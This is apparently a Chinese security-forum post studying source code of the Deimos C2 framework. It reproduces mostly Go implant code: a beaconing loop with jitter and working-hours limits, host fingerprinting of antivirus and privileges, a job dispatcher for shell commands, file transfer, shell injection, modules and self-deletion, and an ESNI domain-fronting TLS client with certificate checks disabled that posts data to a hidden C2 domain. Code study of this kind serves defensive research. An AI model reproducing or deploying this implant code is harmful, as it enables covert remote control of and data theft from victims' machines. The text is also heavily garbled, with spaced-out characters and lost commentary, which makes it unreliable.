[17924] 2021-04-23_deimos-C2代码学习(域名隐藏、凭证dump、moduledroppers)

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-18
2021-04-23_deimos-C2代码学习(域名隐藏、凭证dump、moduledroppers) d e i m o s - C 2 d u m p m o d u l e   d r o p p e r s   w 8 a y   H a c k i n g   2 0 2 1 - 0 4 - 2 3 D e i m o s C 2   C 2 D e i m o s C 2 W i n d o w s D a r w i n L i n u x 使 i m a g e - 2 0 2 1 0 3 2 6 2 1 1 3 5 9 3 4 4 i m a g e - 2 0 2 1 0 3 2 6 2 1 1 4 3 9 6 7 9 h t t p s
i m a g e - 2 0 2 1 0 3 2 6 2 1 1 6 0 0 8 1 6 a g e n t i m a g e - 2 0 2 1 0 3 2 6 2 1 1 7 4 5 8 5 2 g o b f u s c a t e
i m a g e - 2 0 2 1 0 3 2 6 2 1 1 7 1 9 4 3 6 线 i m a g e - 2 0 2 1 0 3 2 6 2 1 1 8 4 3 3 9 3
i m a g e - 2 0 2 1 0 3 2 6 2 1 1 9 3 7 5 8 7 (   -   = ) i m a g e - 2 0 2 1 0 3 2 6 2 1 2 5 1 4 1 0 4
i m a g e - 2 0 2 1 0 3 2 6 2 1 2 7 5 3 1 6 3 a g e n t " " a g e n t a g e n t a g e n t f u n c   m a i n ( )   {   h t t p . D e f a u l t T r a n s p o r t . ( * h t t p . T r a n s p o r t ) . T L S C l i e n t C o n f i g   =   & t l s . C o n f i g { I n s e c u r e S k i p V e r i f y :   t r u e }   a e s K e y ,   _   =   b a s e 6 4 . S t d E n c o d i n g . D e c o d e S t r i n g ( s t r i n g P u b K e y )   / /   a e s K e y   f o r   {     a g e n t f u n c t i o n s . C h e c k T i m e ( l i v e H o u r s ) )     / /   s l e e p     i f   k e y   = =   " "   {       c o n n e c t ( " g e t K e y " ,   " " )       g o   c o n n e c t ( " i n i t " ,   " " )       / /       }   e l s e   {       g o   c o n n e c t ( " c h e c k _ i n " ,   " " )       / /       }     a g e n t f u n c t i o n s . S l e e p D e l a y ( d e l a y ,   j i t t e r )     / /       a g e n t f u n c t i o n s . S h o u l d I D i e ( e o l )     / /     } }
/ / F i r s t T i m e   S t r u c t t y p e   i n i t i a l i z e   s t r u c t   {   K e y                   s t r i n g       / / A g e n t   K e y   O S                     s t r i n g       / / C u r r e n t   O S   O S T y p e             s t r i n g       / / T y p e   o f   O p e r a t i n g   S y s t e m   a n d / o r   D i s t r o   O S V e r s             s t r i n g       / / V e r s i o n   o f   O S   A V                     [ ] s t r i n g   / / A n t i V i r u s   R u n n i n g   H o s t n a m e         s t r i n g       / / C u r r e n t   M a c h i n e   N a m e   U s e r n a m e         s t r i n g       / / C u r r e n t   U s e r n a m e   L o c a l I P           s t r i n g       / / L o c a l   I P   A g e n t P a t h       s t r i n g       / / A g e n t   P a t h   S h e l l z             [ ] s t r i n g   / / A v a i l a b l e   S y s t e m   S h e l l s   P i d                   i n t             / / G e t   P I D   o f   a g e n t   I s A d m i n           b o o l           / / I s   a d m i n   u s e r   I s E l e v a t e d     b o o l           / / I s   e l e v a t e d   o n   W i n d o w s   L i s t e n e r K e y   s t r i n g       / / L i s t e n e r   t h a t   t h e   a g e n t   i s   a t t a c h e d   t o o } / / S h e l l   t y p e s c o n s t   (   p o w e r S h e l l   =   " C : W i n d o w s S y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e "   c m d                 =   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   z s h                 =   " / b i n / z s h "   s h                   =   " / b i n / s h "   b a s h               =   " / b i n / b a s h " ) / / F i r s t T i m e   i s   u s e d   t o   i n i t a l i z e   a n   a g e n t f u n c   F i r s t T i m e ( k e y   s t r i n g )   [ ] b y t e   {   / / G e t   t h e   c u r r e n t   e x e c u t a b l e   p a t h   a g e n t ,   e r r   : =   o s . E x e c u t a b l e ( )   i f   e r r   ! =   n i l   {     E r r H a n d l i n g ( e r r . E r r o r ( ) )   }   / / G e t   c u r r e n t   u s e r   i n f o r m a t i o n   u s e r ,   e r r   : =   u s e r . C u r r e n t ( )   i f   e r r   ! =   n i l   {     E r r H a n d l i n g ( e r r . E r r o r ( ) )   }   / / G e t   c u r r e n t   h o s t n a m e   h o s t n a m e ,   e r r   : =   o s . H o s t n a m e ( )   i f   e r r   ! =   n i l   {     E r r H a n d l i n g ( e r r . E r r o r ( ) )   }   / / G e t   l o c a l   i p   a d d r ,   e r r   : =   n e t . I n t e r f a c e A d d r s ( )   i f   e r r   ! =   n i l   {     E r r H a n d l i n g ( e r r . E r r o r ( ) )   }   v a r   i p   s t r i n g   f o r   _ ,   a   : =   r a n g e   a d d r   {     i f   i p n e t ,   o k   : =   a . ( * n e t . I P N e t ) ;   o k   & &       ! i p n e t . I P . I s L o o p b a c k ( )   & &   ! i p n e t . I P . I s L i n k L o c a l U n i c a s t ( )   {       i f   i p n e t . I P . T o 4 ( )   ! =   n i l   {         i p   =   i p n e t . I P . S t r i n g ( )       }     }
    }   }   / / G e t   a v a i l a b l e   s h e l l z   v a r   s h e l l z   [ ] s t r i n g   i f   r u n t i m e . G O O S   = =   " w i n d o w s "   {     _ ,   e r r   : =   o s . S t a t ( p o w e r S h e l l )     i f   e r r   ! =   n i l   {       E r r H a n d l i n g ( e r r . E r r o r ( ) )     }   e l s e   {       s h e l l z   =   a p p e n d ( s h e l l z ,   p o w e r S h e l l )     }     _ ,   e r r   =   o s . S t a t ( c m d )     i f   e r r   ! =   n i l   {       E r r H a n d l i n g ( e r r . E r r o r ( ) )     }   e l s e   {       s h e l l z   =   a p p e n d ( s h e l l z ,   c m d )     }   }   e l s e   i f   r u n t i m e . G O O S   = =   " l i n u x "   | |   r u n t i m e . G O O S   = =   " d a r w i n "   {     _ ,   e r r   : =   o s . S t a t ( b a s h )     i f   e r r   ! =   n i l   {       E r r H a n d l i n g ( e r r . E r r o r ( ) )     }   e l s e   {       s h e l l z   =   a p p e n d ( s h e l l z ,   b a s h )     }     _ ,   e r r   =   o s . S t a t ( z s h )     i f   e r r   ! =   n i l   {       E r r H a n d l i n g ( e r r . E r r o r ( ) )     }   e l s e   {       s h e l l z   =   a p p e n d ( s h e l l z ,   z s h )     }     _ ,   e r r   =   o s . S t a t ( s h )     i f   e r r   ! =   n i l   {       E r r H a n d l i n g ( e r r . E r r o r ( ) )     }   e l s e   {       s h e l l z   =   a p p e n d ( s h e l l z ,   s h )     }   }   a d m i n ,   e l e v a t e d   : =   p r i v i l e g e s . A d m i n O r E l e v a t e d ( )   o s T y p e ,   o s V e r s ,   a v   : =   f i n g e r p r i n t . F i n g e r P r i n t ( )   / / P l a c e   a l l   t h a t   i n f o r m a t i o n   i n t o   a   J S O N   o b j e c t   s y s t e m I n f o   : =   i n i t i a l i z e { k e y ,   r u n t i m e . G O O S ,   o s T y p e ,   o s V e r s ,   a v ,   h o s t n a m e ,   u s e r . U s e r n a m e ,   i p ,   a g e n t ,   s h e l l z ,   o s . G e t p i d ( ) ,   a d m i n ,   e l e v a t e d ,     m s g ,   e r r   : =   j s o n . M a r s h a l ( s y s t e m I n f o )   i f   e r r   ! =   n i l   {     E r r H a n d l i n g ( e r r . E r r o r ( ) )   }   c w d ,   _   =   o s . G e t w d ( )   r e t u r n   m s g }
/ / S l e e p D e l a y   s l e e p s   b e t w e e n   e a c h   l o o p   o f   t h e   a g e n t   w i t h   a   j i t t e r   %   t o   m a k e   i t   l e s s   p a t t e r n e d f u n c   S l e e p D e l a y ( d e l a y   f l o a t 6 4 ,   j i t t e r   f l o a t 6 4 )   {   m i n S l e e p   : =   d e l a y   -   ( d e l a y   *   j i t t e r )   m a x S l e e p   : =   d e l a y   +   ( d e l a y   *   j i t t e r )   i f   m i n S l e e p   <   3   {     m i n S l e e p   =   2     m a x S l e e p   + =   2   }   t i m e . S l e e p ( t i m e . D u r a t i o n ( r . I n t n ( i n t ( ( m a x S l e e p - m i n S l e e p ) ) + i n t ( m i n S l e e p ) ) )   *   t i m e . S e c o n d ) } v a r   l i v e H o u r s   =   " 0 5 0 0 - 2 1 0 0 "         / / 0 5 0 0 - 2 1 0 0 / / C h e c k T i m e   f u n c   C h e c k T i m e ( l i v e H o u r s   s t r i n g )   {   i f   l i v e H o u r s   ! =   " "   {     a l l o w e d T i m e   : =   s t r i n g s . S p l i t ( l i v e H o u r s ,   " - " )     s t a r t T i m e   : =   s t r i n g s . S p l i t ( a l l o w e d T i m e [ 0 ] ,   " : " )     e n d T i m e   : =   s t r i n g s . S p l i t ( a l l o w e d T i m e [ 1 ] ,   " : " )     c u r r e n t   : =   t i m e . N o w ( )     s t a r t H o u r ,   _   : =   s t r c o n v . A t o i ( s t a r t T i m e [ 0 ] )     s t a r t M i n ,   _   : =   s t r c o n v . A t o i ( s t a r t T i m e [ 1 ] )     e n d H o u r ,   _   : =   s t r c o n v . A t o i ( e n d T i m e [ 0 ] )     e n d M i n ,   _   : =   s t r c o n v . A t o i ( e n d T i m e [ 1 ] )     s t a r t   : =   t i m e . D a t e ( c u r r e n t . Y e a r ( ) ,   c u r r e n t . M o n t h ( ) ,   c u r r e n t . D a y ( ) ,   s t a r t H o u r ,   s t a r t M i n ,   c u r r e n t . S e c o n d ( ) ,   c u r r e n t . N a n o s e c o n d ( ) ,   c u r r e n t . L o c a t i o n ( ) )     e n d   : =   t i m e . D a t e ( c u r r e n t . Y e a r ( ) ,   c u r r e n t . M o n t h ( ) ,   c u r r e n t . D a y ( ) ,   e n d H o u r ,   e n d M i n ,   c u r r e n t . S e c o n d ( ) ,   c u r r e n t . N a n o s e c o n d ( ) ,   c u r r e n t . L o c a t i o n ( ) )     i f   c u r r e n t . A f t e r ( s t a r t )   & &   c u r r e n t . B e f o r e ( e n d )   {                         / /     s t a r t > c u r r e n t   & &   c u r r e n t   <   e n d   线 r e t u r n       r e t u r n     }   e l s e   {       t i m e . S l e e p ( s t a r t . S u b ( c u r r e n t ) )                         / /     s t a r t   -   c u r r e n t       r e t u r n     }   } } / / A g e n t J o b   i s   t h e   s t a n d a r d   s t r u c t   f o r   a l l   j o b s t y p e   A g e n t J o b   s t r u c t   {   A g e n t K e y     s t r i n g       / / K e y   o f   t h e   a g e n t   t o   c r e a t e   t h e   j o b   f o r   J o b T y p e       s t r i n g       / / T y p e   o f   j o b   A r g u m e n t s   [ ] s t r i n g   / / J o b   a r g u m e n t s   a d h e r i n g   t o   t h e   a b o v e   f o r m a t s }
a g e n t d e i m o s   S u p p o r t e d   A g e n t s T C P H T T P S D o H   ( D N S   o v e r   H T T P S ) a g e n t 访 Q U I C P i v o t   o v e r   T C P , S i x G e n I n c / N o c t i l u c e n t :   U s i n g   T L S   1 . 3   t o   e v a d e   c e n s o r s ,   b y p a s s   n e t w o r k   d e f e n s e s ,   a n d   b l e n d   i n   w i t h   t h e   n o i s e   ( g i t h u b . c o m ) f u n c   j o b E x e c u t e ( j   [ ] a g e n t f u n c t i o n s . A g e n t J o b )   {   f o r   _ ,   v a l u e   : =   r a n g e   j   {     s w i t c h   v a l u e . J o b T y p e   {     c a s e   " s h e l l " :       g o   a g e n t f u n c t i o n s . S h e l l ( v a l u e . A r g u m e n t s ,   f a l s e )     c a s e   " d o w n l o a d " :       g o   a g e n t f u n c t i o n s . D o w n l o a d ( v a l u e . A r g u m e n t s [ 0 ] )     c a s e   " u p l o a d " :       g o   a g e n t f u n c t i o n s . U p l o a d ( v a l u e . A r g u m e n t s [ 0 ] ,   v a l u e . A r g u m e n t s [ 1 ] ,   v a l u e . A r g u m e n t s [ 2 ] )     c a s e   " f i l e B r o w s e r " :       g o   a g e n t f u n c t i o n s . A g e n t F i l e B r o w s e r s ( v a l u e . A r g u m e n t s [ 0 ] )     c a s e   " o p t i o n s " :       g o   o p t i o n s ( v a l u e . A r g u m e n t s [ 0 ] ,   v a l u e . A r g u m e n t s [ 1 ] )     c a s e   " s h e l l I n j e c t " :       g o   s h e l l i n j e c t . S h e l l I n j e c t ( v a l u e . A r g u m e n t s [ 0 ] ,   v a l u e . A r g u m e n t s [ 1 ] )     c a s e   " m o d u l e " :       g o   e x e c M o d ( v a l u e . A r g u m e n t s [ 0 ] ,   v a l u e . A r g u m e n t s [ 1 ] ,   v a l u e . A r g u m e n t s [ 2 ] )     c a s e   " r e i n i t " :       g o   c o n n e c t ( " i n i t " ,   " " )     c a s e   " k i l l " :       a g e n t f u n c t i o n s . K i l l ( )       c o n n e c t ( " c h e c k _ i n " ,   " " )       s e l f d e s t r u c t i o n . S e l f D e l e t e ( )       o s . E x i t ( 0 )     }   } } h t t p s : / / d n s . g o o g l e . c o m / r e s o l v e ? n a m e = x x x . c o m & t y p e = { t y p e } & c d = f a l e s c l o u d f l a r e . c o m
s n i e s n i   s e r v e r 访 c l o u d f l a r e 使 c d n i s a d m i n / /     c l o u d f l a r e   e n s i e s n i K e y s B y t e s ,   e r r   : =   Q u e r y E S N I K e y s F o r H o s t D o H ( " c l o u d f l a r e . c o m " ,   t r u e ) i f   e r r   ! =   n i l   {   f m t . P r i n t l n ( " [ E ]   F a i l e d   t o   r e t r i e v e   E S N I   k e y s   f o r   h o s t   v i a   D o H :   % s " ,   e r r ) } e s n i k e y s ,   e r r   : =   t l s . P a r s e E S N I K e y s ( e s n i K e y s B y t e s ) i f   e r r   ! =   n i l   {   f m t . P r i n t l n ( " [ E ]   F a i l e d   t o   p a r s e   E S N I   k e y s :   % s " ,   e r r ) } / /   访 t l s t l s C o n f i g   : =   & t l s . C o n f i g {   I n s e c u r e S k i p V e r i f y :   t r u e ,   C l i e n t E S N I K e y s :           e s n i k e y s ,   M i n V e r s i o n :                   t l s . V e r s i o n T L S 1 3 ,   / /   F o r c e   T L S   1 . 3   M a x V e r s i o n :                   t l s . V e r s i o n T L S 1 3 ,   E S N I S e r v e r N a m e :           a c t u a l D o m a i n ,   P r e s e r v e S N I :                 t r u e ,   S e r v e r N a m e :                   f r o n t D o m a i n } h t t p C l i e n t   =   & h t t p . C l i e n t {   T r a n s p o r t :   & h t t p . T r a n s p o r t {     D i a l T L S :   f u n c ( n e t w o r k ,   a d d r   s t r i n g )   ( n e t . C o n n ,   e r r o r )   {       c o n n ,   e r r   =   t l s . D i a l ( " t c p " ,   h o s t + " : " + p o r t ,   t l s C o n f i g )       r e t u r n   c o n n ,   e r r     } ,   } , } / /   r ,   e r r   : =   h t t p C l i e n t . P o s t ( ( " h t t p s : / / "   +   a c t u a l D o m a i n   +   " : "   +   p o r t   +   U R L ) ,   " a p p l i c a t i o n / j s o n " ,   b y t e s . N e w B u f f e r ( s o m e J S O N ) ) e n s i s n i e n s i i s a d m i n _ l i n u x . g o
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则